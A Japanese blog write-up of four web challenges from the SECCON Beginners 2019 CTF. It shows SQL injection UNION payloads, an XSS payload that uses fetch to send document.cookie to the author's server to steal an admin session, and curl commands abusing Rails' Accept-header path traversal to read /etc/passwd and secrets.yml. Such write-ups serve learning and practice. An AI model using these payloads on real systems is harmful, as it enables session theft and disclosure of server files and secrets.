teppay’s log

*について書きます

SECCON Beginners 2019 Writeup

はじめに

  • SECCON Beginners 2019に個人参加しました
  • 個人的目標としてはWebの全完だったのですが,1問解けなかったのでBeginnerになれませんでした
  • ただし,全ジャンルの中で最もSolveが少なかった(一番最後に出題されたからかも?)問題を解けたのでそこは勉強の成果がでてるかなと思います.
  • Web以外もちょっとときましたが,WriteupはWebだけ

Writeup

Ramen [warmup, web] (293 solves, 73pt)

ラーメン 
https://ramen.quals.beginners.seccon.jp/

ラーメン屋さんを検索するフォームでSQL Injectionができた. まず以下の入力で,flagが入っているtableを見つけて ' UNION SELECT table_name, null FROM information_schema.tables --

以下の入力でFlagゲット ' UNION SELECT flag, null FROM flag --

ctf4b{a_simple_sql_injection_with_union_select}

katsudon [web] (217 solves, 101 pt)

### Rails 5.2.1で作られたサイトです。
###  https://katsudon.quals.beginners.seccon.jp 
### クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。
### フラグは以下にあります。 https://katsudon.quals.beginners.seccon.jp/flag

https://katsudon.quals.beginners.seccon.jp/

https://katsudon.quals.beginners.seccon.jp/flag
# app/controllers/coupon_controller.rb
class CouponController < ApplicationController
def index
end

def show
  serial_code = params[:serial_code]
  @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
  end
end

どういう意図のサイトかよくわからなかったが,トップページにはなんかいろんなお店のシリアルコードがあった. /flagにFlagがあると言われたので見に行ってみると,同じようなシリアルコードがあった.

例示されたシリアルコードの前半部分がBase64ぽかったのでデコードしてみると真ん中あたりに店名のローマ字表記があった. とりあえずFlagのシリアルコードの前半もBase64デコードしてみたら,Flagが出てきた笑 Railsなにも関係ないし,たぶん想定解法ではない

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

Himitsu [web] (32 solves, 379 pt)

抱え込まないでくださいね。 
https://himitsu.quals.beginners.seccon.jp/

自分の秘密を投稿するWebサイトがあって,adminの秘密にFlagがある

ただし投稿する際に以下のような書き方が使える f:id:teppay:20190526163912p:plain そしてそれぞれの秘密を投稿したあとは,秘密を運営(admin)に打ち明けることができる この仕組み的におそらく以下のような方針が立った

  1. 秘密のページにXSSを仕込む
  2. adminに秘密を打ち明け,XSSによりCookieに保存されたセッションキーを奪取
  3. 奪取したセッションキーを利用してadminの秘密(Flag)をのぞき見

記事IDによってページタイトルを埋め込んでくれる機能(以下,タイトル埋め込み機能)が明らかに怪しいのでその周辺を見ていく ソースコードの記事追加処理の中のタイトル埋め込み機能部分は以下のようになっており,埋め込まれる記事のタイトルに<>"\'が入っている場合はエラーになるため,単純に<script>alert()</script>などをタイトルにして埋め込むことはできない. ただし,存在しない記事IDを参照していてもエラーはない.

            // here we should only validate and shouldn't replace; [# ... #] should be replaced here because the title can be changed :-)
            preg_match_all('/\[#(.*?)#\]/', $body, $matches);
            foreach(range(0, count($matches)-1) as $i){
                $found_article_key = $matches[1][$i];
                $found_article = $mapper->getArticle($found_article_key);
                if (preg_match('/[<>"\']/', $found_article['title'])){
                    return $this->app->renderer->render($response, 'new.twig', [
                        'error_message' => '埋め込み先の記事タイトルが不正です。',
                        'title' => $data['title'],
                        'abstract' => $data['abstract'],
                        'body' => $data['body'],
                        'token' => *$this*->get_csrf_token($request)                        
                    ]);
                }
            }

一方で,投稿後に記事を表示する際のタイトル埋め込み機能では以下のようにチェックがない

preg_match_all('/\[#(.*?)#\]/', $article['body'], $matches);
                foreach(range(0, count($matches)-1) as $i){
                    $found_article_key = $matches[1][$i];
                    $found_article = $mapper->getArticle($found_article_key);
                    $expanded_article = "<a href=\"/articles/${found_article['article_key']}\">${found_article['title']}</a>";
                    $article['body'] = str_replace($matches[0][$i], $expanded_article, $article['body']);
                }

また記事ID($article_key)の生成方法は以下のようになっていた

public function createArticle($username, $title, $abstract, $body) {
        $created_at = date("Y/m/d H:i");
        $article_key = md5($username . $created_at . $title);
(省略)

記事IDはユーザ名と記事の作成時間(分まで)とタイトルから生成されているため,まだ投稿前のIDでも予測可能.

これらから,以下の手順でXSSを起こすことができることがわかった

  1. 記事タイトルを<script>alert('XSS')</script>として,未来の投稿時間(数分後)で記事IDを求める.(まだ投稿しない)
  2. 求めた記事IDをタイトル埋め込み機能を利用して埋め込んだ記事を投稿する(記事1)
  3. 1で指定した投稿時間になったら1で決めたタイトルにして記事を投稿する(記事2)
  4. 記事1を開くとpop alert!!

具体的には以下のような感じ

  • まず,現在の時刻が2019/5/26 12:00だとして,記事2の投稿時間を12:02, ユーザ名をteppayとすると記事IDは以下のコードで求まる
$article_key = md5("teppay" . "2019/5/26 12:00" . "<script>alert('XSS')</script>");

b53af539bd147b896c0dbb6424c422ed

  • 求まった記事2の記事IDを記事1に埋め込む よって記事1は記事のbody以外は適当でbodyは以下のようになる.
[#b53af539bd147b896c0dbb6424c422ed#]

この時点では記事2は投稿されていないためタイトルは埋め込まれないが,そのおかげで<>"\'のチェックに引っかかることもない.

  • 2019/5/26 12:02になったら記事2を先に決めたタイトル(<script>alert('XSS')</script>)で投稿する.
  • 記事1を開くとpop alert!!

あとは上と同じ手順で<script>fetch('http://<my_server>/?'+document.cookie)</script>を埋め込んで,その記事をadminに送り読んでもらうと,<my_server>宛にアクセスがあり,セッションキーがもらえる.そのセッションキーをセットしてもう一度アクセスするとFlagが投稿されている.

ctf4b{simple_xss_just_do_it_haha_haha}

katsudon-okawari [web] (8 solves, 469 pt)

クーポンの管理画面なんだよな...
https://katsudon-okawari.quals.beginners.seccon.jp/
https://katsudon-okawari.quals.beginners.seccon.jp/flag

途中で追加された たぶんkatsudonで想定解法以外の解法が見つかってそれが修正されたんだと思う.(実際katsudonはRailsのバージョンなんて関係ない解法だったし)

katsudonの問題文にある通りおそらくRails 5.2.1で作られたサイトである そこでそのバージョンの脆弱性について調べてみると, GMOペパボのブログがでてきたRails 4, 5, 6における Security Fix について - ペパボテックブログ

ここで説明されているとおり細工したヘッダを送ってみると,/etc/passwdを取得できた

$ curl https://katsudon-okawari.quals.beginners.seccon.jp/storelists -H 'Accept: ../../../../../../../../../../../../../../../../../../etc/passwd{{'

/flagにアクセスしてみると,katsudonとは違う形式のシリアルコードが表示された.

bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==—cUS9fQetfBC8wsV7—E8vQbRF4vHovYlPFvH3UnQ==

また/couponのソースを確認すると以下のようなコメントがあった

<!-- debug: app/controllers/coupon_controller.rb -->

そこで以下のようにアクセスしてみるとrubyなファイルが取得できた

curl https://katsudon-okawari.quals.beginners.seccon.jp/storelists -H 'Accept: ../../../app/controllers/coupon_controller.rb{{'
class CouponController < ApplicationController
  def index
  end

  def show
    serial_code = params[:serial_code]
    msg_encryptor = ::ActiveSupport::MessageEncryptor.new(Rails.application.secrets[:secret_key_base][0..31], cipher: "aes-256-gcm")
    @coupon_id = msg_encryptor.encrypt_and_sign(serial_code)
  end
end

またRailsは全くわからないので,GitHub - railstutorial/sample_app_rails_4: The reference implementation of the sample app for the Ruby on Rails Tutorial (Rails 4)を見ながらいろんなファイルを取得していく

config/application.rbを取得すると,

require_relative 'boot'

require "rails"
# Pick the frameworks you want:
require "active_model/railtie"
require "active_job/railtie"
require "active_record/railtie"
# require "active_storage/engine"
require "action_controller/railtie"
require "action_mailer/railtie"
require "action_view/railtie"
require "action_cable/engine"
require "sprockets/railtie"
require "rails/test_unit/railtie"

# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)

module KatsudonReturn
  class Application < Rails::Application
    # Initialize configuration defaults for originally generated Rails version.
    config.load_defaults 5.2

    config.require_master_key = false
    config.x.secrets = ActiveSupport::InheritableOptions.new(config_for(:secrets))
    config.secret_token = config.x.secrets.secret_key_base
    # Settings in config/environments/* take precedence over those specified here.
    # Application configuration can go into files in config/initializers
    # -- all .rb files in that directory are automatically loaded after loading
    # the framework and any gems in your application.
  end
end

以下の部分でクーポンの生成?に使われるsecret_key_baseを読み込んでいる?

config.x.secrets = ActiveSupport::InheritableOptions.new(config_for(:secrets))
config.secret_token = config.x.secrets.secret_key_base

そこでconfig/secrets.ymlを取得してみると, secret_key_baseがもらえた.

(省略)
production:
  secret_key_base: 4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34

あとはクーポンの生成?の逆をやれば良さそう. rails consoleを利用して以下のようなコードを実行してFlagゲット

key = '4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34'[0..31]
msg_encryptor = ::ActiveSupport::MessageEncryptor.new(key, cipher: "aes-256-gcm")
flag = msg_encryptor.decrypt_and_verify('bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ==')
p flag

ctf4b{06a46a95f2078ae095470992cd02f419}